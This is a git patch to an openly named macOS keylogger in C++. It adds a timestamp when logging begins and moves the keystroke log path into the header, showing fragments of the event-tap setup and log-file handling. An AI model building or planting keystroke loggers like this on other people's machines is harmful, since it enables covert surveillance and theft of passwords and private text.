From 858b38dad3dd22fbd5c06154ec3196adebfe037d Mon Sep 17 00:00:00 2001 From: Casey Scarborough Date: Mon, 16 Sep 2013 20:02:06 -0400 Subject: [PATCH] Add timestamp to logfile on log begin. --- keylogger.cpp | 5 +++-- keylogger.h | 3 +++ 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/keylogger.cpp b/keylogger.cpp index 27083db..cc60ceb 100644 --- a/keylogger.cpp +++ b/keylogger.cpp @@ -15,9 +15,10 @@ int main(int argc, const char *argv[]) { CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes); CGEventTapEnable(eventTap, true); - const char *logfileLocation = "./keystroke.log"; + time_t result = time(NULL); logfile = fopen(logfileLocation, "a"); - fprintf(logfile, "Keylogging has begun.\n"); + + fprintf(logfile, "\n\nKeylogging has begun.\n%s\n\n", asctime(localtime(&result))); fflush(logfile); cout << "Logging to: " << logfileLocation << endl; diff --git a/keylogger.h b/keylogger.h index 7d716c5..2773ad1 100644 --- a/keylogger.h +++ b/keylogger.h @@ -3,6 +3,7 @@ #include #include +#include #include #include // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html @@ -10,6 +11,8 @@ using namespace std; FILE *logfile = NULL; +const char *logfileLocation = "./keystroke.log"; + CGEventRef CGEventCallback(CGEventTapProxy, CGEventType, CGEventRef, void*); const char *convertKeyCode(int);